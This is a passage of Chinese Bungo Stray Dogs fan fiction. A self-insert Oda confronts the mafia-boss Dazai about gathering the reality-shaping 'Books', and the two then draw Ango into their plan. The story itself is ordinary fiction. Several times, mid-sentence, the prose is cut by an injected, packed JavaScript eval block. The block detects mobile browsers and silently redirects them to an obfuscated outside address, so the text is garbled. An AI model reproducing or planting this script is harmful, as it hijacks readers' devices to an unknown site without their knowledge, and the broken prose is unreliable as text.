我没有难为安吾的意思,在心里抉择起了该到哪里摊牌。 在lupin酒馆……这里是无赖派的友谊之地,万一留下的是不好的回忆,那就糟了。 但同理,我对来到这个世界抱有一份欢喜的态度,回到西餐厅或者回到二楼我的房间再摊牌,在那里留下坏的记忆也不是我所希望的。 我思考了一会儿,提议:“太宰,去海边走走吗?” 冬日看海,是不同的风味。 至少海边不属于哪个过往回忆,触景伤情的事情首领宰不知道要经历多少回。 首领宰在应允后,诚挚的问出了一个问题:“在那之前,织田作还有什么想做的事吗?” 我有些诧异:“?” 这个问题不是问过了吗? 但首领宰又重复了一遍。 我想不出来,半天后憋出来一句:“……把礼物送给你们,我留在房间了。” 首领宰是看着我准备的,所以他知道他的礼物是什么——一块繁星内衬的怀表。 是我用西餐厅的胖老板发给我的薪水买的,打开看的时候就像在仰望夏夜的星空。 如果今天不顺利,我恐怕没有办法和首领宰一起度过夏天了。 但我不清楚首领宰知不知晓这块怀表的含义。 “……还有呢?”首领宰很安静自然的问。 安吾彻底收敛了神色,有些凝重认真的来回注视着我们两个,终于意识到他的这场任务似乎要结束了。 我脑中想到了很多很多想要和无赖派一起做的事情:包括同织田作一起喝酒,上演‘猜猜我是谁’,和安吾精彩的聊天,被首领宰拖去惊险刺激的胡闹每一天…… 但,它们都不是现在能发生的事情。横亘在我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803124|158455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和首领宰面前的,是我们两个互相冲突的计划。 我脑中的妄想渐渐淡去了。 “没有了。”我镇静而咬字坚定的说。 首领宰安静的接受了这个答案。 我想。 首领宰本来不是这种反复无常的性格,他为自己计划所下的决心也让人仰望。但—— 他现在展现出的这点留恋,让我窃喜。 “安吾,明天见。”我起身道别的说,“给你的礼物明天再来取。” 如果事情顺利,我送给安吾的就不是留在房间里的普通照相机了,而是一份他喜欢的大礼。 “明天……见,织田作先生。”安吾忍不住欲言又止的看看我。 我想,他的任务除了弄清楚首领宰和我身上发生了什么,像我离去这种消除了神秘原因的情况,应该也算了结。 明明也许是永远不见,安吾却寻常的和我道了别,目送我们离开。 坂口安吾:“……” 在我们走出去的时候,听到他又独自续了一杯酒。 我和首领宰离开了lupin酒馆,来到了海边。这里不是海景更漂亮的横滨另外一侧,而是有着镭钵街的近海处。 站在高高的堤上,我听到了一声海鸥的叫声,在接近夜里的这个时间点,让人惊奇。 就像我出现在Beast线一样不合时宜。 “我想到了一首歌。” 我出声。 那不是这个世界的歌,是来自我所在的现实世界传唱的歌,而我认为,其中的部分歌词很适合首领宰。 是的,见到海,就会很容易联想到《海底》。 “是什么样的歌?”首领宰的态度一如往常随和,他双手都抄在大衣口袋里,很给面子的问着。 海风吹拂起了他身上的红围巾。 我的视线定格在首领宰身上:“……下次有机会放给你听。” “也对。”首领宰微微笑了,只是那个笑容中没有任何想法,像是单纯挤压面部肌肉勾起来的。 他语气轻松的说:“毕竟,织田作你在哪个世界放歌,我都听得到。” “——本来的话。” 我骤然看向了他。 戴着红围巾的黑衣男子却不再看我,他望向远处的海面,开始平平叙述一件事,语气淡了下去: “一个半月前,我能观测到的平行世界在不断减少。” “有几次的我察觉到了违和感,也许不是世界在减少,而是——‘书’在不断消失。” “‘书’,都被同一个人拿走了。” “……织田作你知道这件事吗?” 20. 第二十章 夺「」者 我:“…………” 我没有什么不敢承认的。 “啊。” 我默默反问了一点:“太宰,你当初下令在追捕的人,就是我吧。” 还记得我穿越最初,港口黑手党在抓可疑人物吗?中岛敦说过,是在抓「横滨中不应该出现的异常人物」。 我曾以为那是对陀总的追捕,或者不关我的事的一项任务,毕竟那是在我抵达之前就发布的命令。 但后来看首领宰的古怪态度,我心中已经隐约有了预感。 现在听来,也不惊讶。 那恐怕是首领宰为了应对某日将到来的‘夺书人’,做出的最简单的试探。 打草惊蛇。 而我,刚刚好的在这种敏//感时间出现了。 “……” 首领宰脸上不带表情的时候,模样气场都恢复成了港口黑手党首领的范围,眸光暗沉沉的,陌生得可怕。 他没有看我,视线最多转到我身侧的空气,就像见到我的模样就无法顺利把接下来的话说完似的,语气却平静得无波无澜: “……无论如何,我都不想去怀疑织田作。” “但你还是怀疑了。”我同样注视着前方微微翻涌的海岸线,说的是陈述句。 我们两个心照不宣。 当首领宰那天晚上确认了我的身份后,即便他再不愿意怀疑一个织田作之助—— 人是蒙骗不了自己的智商的。 桩桩件件的细节都摆了出来。 熟悉而陌生的眼神,从不敌对的态度,记事本上属于三人的涂鸦,还有……那个与书中人有关的,意有所指的小说大纲。 首领宰无论如何挣扎搏斗,都无法令自己的理智屈服下去,来相信我只是一个意外的、单纯流落进这个世界的织田作之助吧。 “……”黑衣男子的手指突然蜷缩了一下,力道微弱到几乎不见,像是被我那句话刺伤得瑟缩了一瞬似的。 哪怕我的语气中没有指责。 “我给了安吾调查的机会。”首领宰沉默了几秒钟,承认的开口了。 我看向这个红围巾青年: “你通过他的异能力‘堕落论’确认了,我在来到这个世界之前的‘过去’中,只有完全被抹去的空白,没有任何线索。” 通常来说,这不大可能。 我直言不讳的平静自爆:“没错,我以前使用了‘书’来抹去踪迹。” 这佐证了首领宰对我的又一重怀疑。 我暴露在外面的手指尖被半夜的寒风吹得有些发僵,忍不住活动了一下。 回想当时……我和首领宰表面上在干什么? 我想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803125|158455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了那场非常不顾形象的欢乐火锅游戏。 是的。 即便首领宰对我怀疑又试探——平时哪怕只有一个线头都蒙骗不了敏锐的他,但这众多的细节堆叠在一起后,首领宰还是和我互相演着挚友游戏,谁都没有主动打破。 他在贪恋这份意外得来的友情吗? 拖延得久久的,直到拖不下去的最后。 我其实清楚……我也是的。 在初见的那天晚上,我与首领宰试探的手指相擦过的那一刻,我就有能力把他的‘书’夺走了。 我知道,那会是我与‘书’最接近的一瞬间。那也是首领宰警惕最强,防备却最薄弱的一瞬间。 ……那是天时地利的一个夜晚。一次错过了就绝对没有了的好机会。一个我故意等待着,心知肚明将要到来的试探。 但我也没有动手。 …… 我cos的人物是「织田作之助」,但我早在穿越前就已经把自己当做了真正的「织田作之助」——那个太宰治与坂口安吾的红发友人。 毕竟。 我穿越而来、所做一切的真正目的……仅仅只是为了抓住这份羡慕至极的友情啊。 「也许,我有更好的办法。」 那天晚上,手指相碰的电光火石间,打消了夺书念头的我这么想着。 21. 第二十一章 绑架朝雾kfk “你要阻止我吗?太宰。” 我垂落在身侧的手指按住了大衣下的硬物。 “织田作……” 首领宰的声音轻的听起来快要随风消散了。 “是的。”但他沉默了几秒钟后,还是毫无动摇的这么说。 戴着红围巾的男人抬起了眼帘,他望了过来,想像平时给我分享经历那样平缓的讲述故事,口吻却带着几分‘期望我能理解’似的急切, “我有一个计划,织田作。” “我所做的这一切如果完成,这里的织田作就可以继续活下去写小说了……” 我听着他的讲述,分不清这是首领宰的急切自辨,想要证明什么,还是在寻求认可。 如果这些被一个“织田作之助”拒绝了,他该多受打击啊。 “我知道这些。”我最后默默的说。 首领宰的表情像是一张面具,嘴角微微挑起的弧度凝固在了脸上。 他想了什么,我不知道,他想问什么我却是知道的。 ——即便我知道了这个计划中不可或缺的东西是‘书’,这个脆弱的世界想要守护好一个人,最重要的是‘书’不能被抢走。我,也仍然要继续那么做吗? 我不愿意让首领宰误解,很短暂的开口:“你没有问过我的来历,太宰,现在轮到我告诉你一个故事了。” 我被召唤到了「书外的世界」。 我到达的世界中,有着这本「书」的作者。 我绑架了他,夺走了最关键的那本创作之「书」。 首领宰微微睁大了眼眸:“……?” 三连暴击,他脸上是难以掩饰的震惊神色。 是啊。 如果这件事不是我干的,听到的时候我也会这么震惊的。 我用这种方式告诉首领宰才好理解,实际上……真实的故事更加费解曲折一点点: cos成织田作之助的我,原本只是一个现实世界里准备前往漫展的普通人,却突然在眨眼间穿越到了日本一家陌生酒店里。 房间中坐着一个在书桌前写作的陌生男人,看到我却脱口而出: “织田作?!” 我低头一看,风衣,枪带,红发,身高,我的cos成真了,竟然变成了货真价实的织田作之助。 男人经历了被陌生人突然闯入房间的灵异事件,却比我显得激动多了,几秒钟后,那份激动中又多了一些心虚,视线游移: “是我的原稿……把你召唤出来的吗?” 他似乎,把我当成了从书中现身的「织田作之助」。 男人自我介绍,让我叫他朝雾,又看向了桌上那厚厚几叠装订起来的出版小说原稿,上面正微微发着光: “最近它们不知道出了什么问题,变成这样回不去了,很烦恼的啊!我都躲到酒店来了……” 男人微微叹着气的抱怨着。 我凑上去仔细观察,一种微弱的吸引力让我意识到,这叠书稿就是让我cos穿越成真的罪魁祸首。 是它带来了我。 但在我翻动的时候,文字中不断浮现出漫画与动起来的动漫场景,这叠书稿,似乎已经变成了「文豪野犬」这部作品的概念本身。 “嗯,它大概是变成了真正的……‘书’,但是不需要写字,用起来时灵时不灵的。”朝雾这么介绍着,飞快的朝我偷瞥了一眼,神色略显不安。 他搞出来的剧情那么血流成河,本人的声音却意外的温柔,有些人不可貌相了。 我的心头突然泛上来一个大胆的想法。 如果原稿变成了真正的「 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他的眸光还是那么暗沉,没有高光也没有波动,只有沉默几秒钟后吐出的字句。 那些话从他的唇齿间滚了出来,沉沉的,带着首领宰特有的沉寂: “织田作,你的办法是指……把所有的‘书’都收走吗?” 我点了头。 “最初的那本‘书’可以把所有它的投影都收容在内。它们是稳定世界的基石,也是神奇的许愿道具,但我们清楚,所谓的许愿成功,其实只是平行世界的毁灭替代。” 我展示了一下那个普普通通的小笔记本,如果不是我说出来,连拥有人间失格的太宰治都无法发现端倪。 也许因为我从朝雾手中得到的原稿是高于这个世界的升维产物吧。 自从来到文野世界后,它除了吸附收容其他‘书’的功效,和带我穿越在不同世界间的功能外,就是一本普普通通可以涂画的小笔记本了。 我使用它的最后一个神奇能力,就是清除我的来历痕迹。 所以我可以坦然的保证,到手的其他‘书’也不会被我进行任何使用。它们会与这个普通画本融合,无法再引起任何争端。 “没有了这些‘书’,包括主世界的那一本后,所有世界就不会轻易毁灭了。换句话说——它们也被解放了。” “从原本作为一本书既定的未来中……解放了出来。” 我指出最有力的这个理由,然后深深望向了首领宰。 “只要未来发展不一样,另一个织田作之助,他可以安稳的活下去写小说。” “……” 穿着黑色大衣的青年站在堤坝上,看起来要一头坠落进水中了。他久久的没有说话,倦怠的眺望着远处的夜幕,半晌,才发出了一声意味不明的感叹, “……啊,是个很不错的计划。我似乎没有拒绝的理由。” 现在看起来,仿佛已经是我的计划胜过了他原来的那个,所以首领宰哑口无言了半晌,准备妥协。 但我又一个转折:“但是——” “这只是我原本的计划。”我诚恳的低下眼帘,对他道歉了,“抱歉……太宰。” 首领宰的脸上终于浮现出了一抹明显的讶然。 像是不明白我为什么道歉,又像是,他已经猜到了却不认为事情真的会发展成那样,所以有了一瞬间乖乖的呆愣。 我仔细的看着他。 这个消瘦的,戴着红围巾的太宰治。 其实我根本搞不懂任何一个太宰在想什么,他的内心是不可捉摸的,在那么多个太宰治当中,我认为首领宰又是最难懂的一个。 这让我在制定计划的时候犯下了错误: ——我想穿越时空而来,和首领宰成为挚友。 我也顺势想改变平行世界不得不为主世界随意毁灭的命运,不得不随着固定剧情发展的悲哀。 我知道首领宰的事迹。 所以我在最开始理所当然的认为了首领宰所做的一切努力都是为了拯救beast线的织田作。 那么我的目标只有一个:阻止平行世界毁灭,不就好了? 直到亲眼见到首领宰的那天晚上。 直到夜色下我的手指与他擦过,冰冷触感到来,我因为不舍留恋,放弃了夺走‘书’的那一瞬间。 我才电光火石间意识到了一件最恐怖的事情: 不。 恐怕不是首领宰为了拯救织田作之助而死。 应该是……首领宰为了‘拯救织田作之助’这个目的才活到了现在。 毕竟以首领宰知晓的剧情和他的聪明才智,难道真的只有这一个办法来解决问题吗?难道他自己就非死不可了吗? 当然不是。 这只是他为自己选择的完美结局,是他求救着,从这个腐烂而氧化的世界中醒来的方式。 拯救织田作之助其实不是关键啊。 ……假如我无知无觉的做完了我的这一切计划,事情又会发展成怎样? 世界不再毁灭,织 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803127|158455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 田作活了下去,一切都走上正轨,且比首领宰原本计划中的坚持轻松快捷。 那么,首领宰只会毫无留恋的选择长眠。 要比原剧情中的时间还要提前了。 而我,就像那本在十六岁时改变了首领宰此世命运的‘书’’一样,会成为这一切的推手。 我怎么能接受这一切? 所以…… “抱歉。”我对首领宰又道了一声歉。 那明明是首领宰在看尽了无趣的未来发展后,为自己找出的最后一条稍显不同的蜘蛛丝。也是他对这个无望的悲哀世界唯一能发起的反抗。 我却差点摧毁了。 所以…… 从那天晚上之后,我执行的就是新计划了。 我的目的,不再是首领宰的那本书。不再是帮助首领宰拯救这个世界,救下织田作之助。 “——我需要你,太宰。”我毫无掩饰的承认,并且求助着。 首领宰眼眸微睁。 “我不打算改变收取所有‘书’来稳定每个世界的计划,但是……我的实力不足以应对所有危机。”我诚恳说着。 “这几次能够夺走书,只是因为我在躲着每个世界的太宰和江户川先生。” “但我迟早会和他们对上,尤其是主世界里。”我注视着仍然微睁着眼眸的首领宰,走近了一步。 像黑时宰对织田作伸出手那样,又像是织田作对黑时宰伸出手那样—— 我试图伸手抓住首领宰。 “我的聪明才智是没有办法抵抗得过他们的,一旦失败,不仅是我,还在我手中保管的所有‘书’都会有危险。” “可以帮我吗?太宰。” 我单方面认定的友人。 我看不懂你,没有任何办法可以阻止你长眠。我也没有你拥有的聪明才智,没有灵活善变的口舌。 我只能押上,我此刻唯一拥有的筹码。 这就是我那晚的新计划。 听懂了的首领宰:“…………” 23. 第二十三章 恫吓 首领宰看起来想本能的退后一步、躲开我的手掌似的。 但随着我的话与请求,首领宰定定的注视着那只手,站在原地没有动:“……” 他被我抓住了。 ——即便手掌下的高级布料手感轻柔,确确实实的被我正攥在手中,我却仍然没有掉以轻心。 话虽然说得好听,计划也想的很完美。 但,首领宰真的会顾及我,顾及到比他自己唯一渴求的夙愿还重吗? 他又凭什么不继续自己执行了两年的计划,一定会选择我的呢?我清楚他对我离去的不舍,但是,这是两码事。 这是人之常情。 我计划的成功率到底有多少,成败只在这一刻。 所以,我看着沉默不语的首领宰,从大衣下举起了我的枪。 “咔嚓。” 是枪上膛的声音。 太宰治的表情凝固了。 “——或者,继续把我当做敌人对待。”我冷静继续着最初的话题,调转了枪口的方向,不容置疑的塞进了首领宰的手里。 教他对准我。 没错。 这是恫吓。 这也是可以预见的事实。 首领宰为什么拖到今天才和我摊牌?因为他也默认了摊牌后我们的关系会破裂。 我的计划与他冲突,他如果劝说未果,只能狠下心把我赶出横滨,继续自己的长眠计划。 他明明已经做好了这样的准备。 那么…… 我不会去复刻if线两人的互相敌对。 但选择权,现在就在首领宰手中,我只是挑明告诉了他而已。 我默默看着他。 绷带青年的鸢色眼眸中倒映着我的样子,他的表情突然微变了: “织田作你……” ——首领宰是不清楚自己在本世界未来的遭遇的,但是我知道。 首领宰能聪明到从我的每一个行动中揣摩出我的思想和过去的蛛丝马迹。这一点我也知道。 首领宰是唯一一个有“书”的太宰治。 而我,是唯一一个有“书”的织田作之助。 那么,首领宰这一秒想到了什么? “……我明白了。” 首领宰若无其事的垂下眼帘,收敛起神色注视着他手中被塞过去的那把枪,缠绕绷带的手把它塞回了大衣口袋里。 聪明的脑袋就是想的透彻,首领宰很快做出了决定,不再犹豫了。只是嗓音听起来干干巴巴的,他很不情不愿的拖着腔,恹恹的: “嗨嗨——织田作你赢了。” 这不是根本没得选吗? 要么帮助,要么敌对。 要么与他真切相处过的无法抵抗的友人并肩作战,要么重演织田作眼中友人决裂的心理阴影。 太宰的神情一言难尽,想起了过去的什么,开始对着红发男人惆怅的喃喃抱怨: “你还真是个强硬的性格啊!” “……”我默默接受了这个评价。 其实我本人不会大胆到做出后半截激烈的逼迫行为。但……我自愿从现实世界降维来到文野,成为“织田作之助”。 有时候用上一些织田作式的抖S风格,或许太宰更吃这个……或者不得不吃这个。 没错,我恐怕首领宰和我一样想起了「捡宰日」的初见。 氛围骤然一松。 “我有些冷了,我们回去吧,太宰。”我在心中吐了口气,欣慰提议着。 “是谁大半夜带我到海边吹冷风啊——”首领宰还在不停抱怨着我,变成包子脸碎碎念,“还把枪递给我,过分——利用我的印象也太过分了!” “抱歉。”我老老实实的听着数落,一路不 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所以他不得不再一次屈从了……明明刚才火急火燎,中也却只能撑在车里咬牙切齿的,盯得眼珠都发酸了。 现在他赶忙驱车远远跟上。 完全看不懂。 也完全不知道首领在想什么。 …… 太宰治一路上碎碎念的抱怨,阴暗的活泼了一路。他嘴里说着数落的话,牵走了红发男人的注意力,实际上,却在一心两用的思考着某件事。 太宰治是在想—— 仔细的想,不放过任何一丝细节的全力回想: 织田作,到底从那本最初的‘书’里看到了什么决裂画面? ……才留下了现在这样的执念? 24. 第二十四章 是谁在破防 首领宰一路上若有所思。 等到了远远看得见西餐厅的那个道路分叉口,红围巾青年停下了步伐,双手插在口袋里没有动: “今天就到这里吧,织田作。” 是和朋友玩耍完一天道别回家的语气。 我了然。 摊牌是一件非常耗费精气神的事情,未来规划变更后,想必首领宰还有很多事情要去忙。 “——等我一下,太宰。” 我去取来了这次要送给首领宰的礼物盒,匆匆塞到了他缠着绷带的手中,然后才转头告别。 现在给礼物也没有问题,我并没有特地留到明天的理由。 “不要在路上打开。”但我慎重的多叮嘱了一句。 首领宰:“?” 明知道礼物盒里是什么东西,却这么多解释了一句,挑起了人的好奇心啊。 我没有再说话,一想到我准备的礼物……我就充满期待的回了房间,迫不及待的想知道明天首领宰的反应。 至少我贴心的没有选择让首领宰明天当面打开它。 “……boss。” 直到中原中也没好气的悄无声息出现在身后,绷带青年仍然狐疑的盯着自己手中的礼物盒,“……?” 到底要不要在路上打开? 坐上了黑色轿车的太宰治神色晦涩难辨,单手撑住了微侧着的脸颊,靠在车窗旁,慎重思考着。 港口黑手党首领的威势一如往常,青年似乎在思考重要的机密问题。他不开口,坐在一旁看懂脸色的中原中也也跟着沉默,不会在重要时候去打扰首领的深思。 轿车里开车的司机更是一声都不敢吭了,战战兢兢的笼罩在一阵压抑的氛围里。 ——谁也不知道这样一个男人,此刻心里却在拉扯交战,思考着这个非常简单的问题。 织田作说的话有他的道理。 但就是这个肉眼可见的事实明明白白的勾起了太宰治的好奇心: 除了怀表以外,织田作还放了什么?会导致他在路上看到就陷入不妙处境的? 皎洁的月光从乌云后露了出来,夜色下,车窗里的那个礼物盒清晰可见。 太宰治危险的垂着眼帘,脸上没有什么表情,手指却灵巧的勾住了丝带,毫不犹豫的没有听从忠告,打开了小小的礼物盒。 黑色柔软的垫布上,放置着那块崭新的怀表,黄铜色的外壳上只雕刻着繁复的花纹。已经检查过自己礼物的首领宰知道,怀表的墨色内里会镶嵌着神秘感十足的繁星水钻,犹如夏夜。 ——不过水钻是假的。 考虑一下从大卖场买来的它的价格,估计还没有中原中也的时薪高。 ……但它的价值却不止于此。 首领宰把它托在掌心里低头注视着,表情没有发生变化,鸢色眼眸却柔和了一瞬。 重量不太对。 他拿起来的这一瞬间就察觉到了。 看来不同就在里面了。 太宰治似有所觉的摁动怀表按钮,在清脆的“咔嗒”声后,怀表打开,指针走动的表面上面,内衬里卡着一张好好折叠起来的纸。 上面是织田作之助熟悉的字迹。 “唔?”他辨认着。 这似乎是一份歌词的摘抄。 但…… 「你是重要的存在。」 「是某人的星星。」 港口黑手党的首领捏着纸张的手指有些抖,僵硬的表情彻底凝固在了脸上: “…………” 一片空白。 一目三行的他聪明脑袋运转过快,甚至在自己都没来及阻止自己分析之前,已经看完了这份耻度含量爆表的歌词,并且想明白了这块繁星怀表的含义。 还有…… 织田作为什么特地强调了一句,不要在路上打开。 “啪!” 突兀的一声响起,是首领宰有些狼狈的合上了怀表,把危险莫辨的气势和表情都随着脸庞猝然转向窗外的反应。 只剩隐入阴影中的一道佁然不动的黑影。 沉默不语。 “……?” 坐在旁边的中原中也敏锐的望了过去,探究的狐疑着,却在黑暗中什么都没看见。 ‘啧,什么鬼动静?’ …… 这天晚上,太宰治 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803129|158455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面无表情的连夜修改了未来五年的计划,并把其中近半年已完成的计划书打回去命令中原中也重新修改。 “啊?!” 刚刚加班一个月,就这么眼睁睁看着自己的努力全部泡了汤的中也拳头攥紧,非常想杀人。 但顶头老大都忙得脚不沾地,中也只能带着杀气忍辱负重的继续。 ‘杀了你,迟早要杀了……’ 但。 还是不行。 这天晚上的首领宰无论怎么往死里忙碌,都没有办法命令自己的大脑摆脱那些平行世界的记忆。 …… 「织田作,你在看什么?」 「……居然是心理测试啊!」 「‘如果在夜空中能看到星星,你看到了几颗?’」红发男人抱着书一字一句的念着。 「答案很简单,没有星星,是一片漆黑啊。」记忆里的太宰治毫不犹豫的这么轻松说着。 「这样的话,就算只是蜡烛的亮光也会想要吧。」安吾的吐槽口吻就像他已经意识到了这是什么心里测试题。 「安吾你果然很害怕寂寞吧?」太宰治对他调笑着,把脑袋积极的挤到红发男人身旁去看那本书,「织田作——这是哪方面的测试?」 「……」 一阵寂静。 书上赫然写着。 「这是友情度测试。」 「回答的星星数字越多,此后与朋友的亲密度就会越高哦。」 记忆回笼。 「繁星怀表。」 “……” 纸条上:「是某人的星星」。 “…………” 凌晨五点。 太宰治抱来了一叠新文件,在最高干部难以置信的崩溃神情中,低沉而毫无感情的冷笑了一声。 恶魔低语。 “中也——是睡着了吗?” “都处理这么久了,你不会还跟不上我的速度吧?” 一个激灵惊醒的中原中也咬牙切齿的重新握紧了笔,杀气已经飙了出来,终于忍无可忍的脱口而出了一个旧称呼: “混蛋青花鱼!你今天晚上到底在发什么疯?!!” 25. 第二十五章 命运的胶卷 不管港口黑手党里度过了怎样一个难熬的不眠之夜。 到了第二天下午。 太宰治和坂口安吾的身影都准时出现在了西餐厅楼下。 安吾的眼底有些青黑,他瞅了两眼脸色正常的太宰,拿不准对方的心情,所以干脆先不打招呼,谨慎的沉默着:“……” 楼上传来两人的交谈声。 “织田酱,不用留这么多钱,你什么时候回来了,房间还留给你……”是胖老板的声音。 “这段时间,多谢老板的照顾。” “这是给我的礼物?好吧。” 胖老板笑呵呵的下楼了,手中抱着一件看着质地温暖的厚毛衣。 “织田作先生!” 坂口安吾在心里松了口气,压下激动抬头对红发男人打招呼。 原来没有走啊! 说话间,三人已经在二楼门口碰面,红发男人让开路请他们进去。 坂口安吾有些拘谨,本能的扫视这个房间,他还是第一次上来。 房间里收拾得一尘不染,被褥都卷了起来,俨然一副将要远行的状态。 “安吾,这是给你的。” 坂口安吾心中有些猜测,这不妨碍他打开盒子一看—— 是一个看似普通的照相机。 不是多么精巧先进的款式,甚至有些笨重了,居然是个胶卷式的照相机。 坂口安吾:“……?” 他不解的抬头,发现港//黑首领今天安静的过分,红发男人也没有任何表示,安吾忍不住疑惑的问: “太宰先生,你的礼物呢?” 难道两个人的关系……决裂了?闹别扭?还是昨晚就提前给过礼物了? 这句话像是什么神秘咒语,在场的氛围更诡异了。太宰治微笑着不动声色的回答:“当然已经收下了呀。” “……?” 坂口安吾看起来还想问什么。 我从一进门就关注着首领宰的表情,虽然什么都没有看出来,但这也是一种端倪,所以我心满意足的收回视线,提前截住了安吾的话头: “——是怀表。” 眼镜青年恍然的点着头,我决定不拖延了,把真正送给安吾的大礼拿出来。 当初摊牌之前,这是我在心里答应安吾的。 “安吾,还有这个。” 我从大衣口袋里拿出了什么东西,摊开在手掌上,那是一枚小巧的胶卷。 “谢谢织田作先生。”坂口安吾道谢着,不以为意的伸手准备接过来,或许他只是暂时没理清楚头绪——照相机和胶卷为什么要分开给他。 忘记放进礼物盒了吗? 但首领宰已经意识到了什么,他的视线落在那枚胶卷上,鸢色眼眸抬起,与我突然对视。 “……”我确认的无声默问着。 其实在桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803130|158455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面上,还有一盒备用胶卷。 但,直到坂口安吾取走了那枚胶卷,首领宰都平静的待在原地,没有任何阻止的反应,而是好整以暇的坐在椅子上看向安吾,嘴角抿起了一抹看好戏的恶劣弧度。 “织田作。” 他唇边的恶劣还保持着没变,却欣然开口,毫无留恋说的轻松:“我也有一份礼物要送给你。” “啊。” 我便安心的坐稳等着了。 “…………………”这是接过了胶卷的坂口安吾。 他像是中了定身术,僵硬的保持着还伸着胳膊的姿态,脸上残存着一抹冷汗与愕然。 我:“盯——” 首领宰:“盯——” 我在心里满意的思索,平时的安吾应该很习惯区分明白物品施加给他的记忆,以及区分该对哪些物品施加异能力吧。 而且,他的任务还没有结束。 那么对我送的照相机和胶卷习惯性的用上一次异能力,也是顺理成章的了。 过了不知道多久,安吾的额头上渗出了冷汗,他终于魂不守舍的回了神,结结巴巴的问: “织田作先生——!这些,这个——” “嗯。” 我不做掩饰的承认了。 “我和太宰昨天讨论的,都是真的。” ——这枚胶卷,昨天准备礼物的时候就被我取出来放在大衣口袋里了。 26. 第二十六章 左搂右抱的宰 “你……你们……” 坂口安吾半晌都说不出一个有效的字眼来,他的大脑凌乱无比,满心乱麻。 这枚胶卷上竟然记载了两人昨天摊牌全部内容的记忆…… 坂口安吾承认自己对此是感兴趣的,不管于公于私,他都想弄明白织田作先生身上发生了什么,又为什么和太宰治发展出这段古怪的友谊。 但…… 打死他都没想到,真相居然那么多,又那么骇人! 这两位在别的世界很可能是他友人的家伙……居然都是有书的剧本精! 至于‘本世界’是虚假的,只是一本书里脆弱的平行世界这种事,坂口安吾已经在两人的各种救世计划前麻了。 这下还怎么上报?还搞什么情报? 他绝对不能把织田作先生身上携带着无数世界的“书”,并且未来也要去搜集“书”等各种消息上报给异能特务科啊。 他只能选择自己一个人吞咽下重要的详情,毫不犹豫得加入计划,想办法保住自己这个世界啊!! 坂口安吾的目光就希冀的投向了黑衣男子:“太宰先生——” 你,有把‘书’给出去吗? 我们现在有三个人知情了啊啊啊啊! 首领宰欣赏够了眼镜青年抓狂的崩溃模样,才手掌一翻,露出被他用两根手指夹着的小笔记本。 我下意识摸了摸大衣口袋:“……啊。” “已经融进去了哦。” 首领宰嗓音柔和而从容,他随手翻开了小笔记本。那上面仍然带着许多涂鸦和字样,除此以外没有任何异常。 “安吾——我是不会拿世界安危开玩笑的。” 坂口安吾大喘气。 “说……说的也是。”他勉强镇定了下来,跌坐到椅子上的模样还是惊魂未定的。 我和首领宰都体贴的留给了安吾一些反应时间。 他的承受能力已经算是非常强的了。 “这就是你送我的礼物吗?”我压低了声音,若有所思的问。 我不是指那本“书”。 而是……我期望着无赖派可以一起参与计划,拯救世界。所以我想把安吾拉入知情人的阵容。 首领宰就这么纵容了。 包括未来的此世界织田作我也预定了。 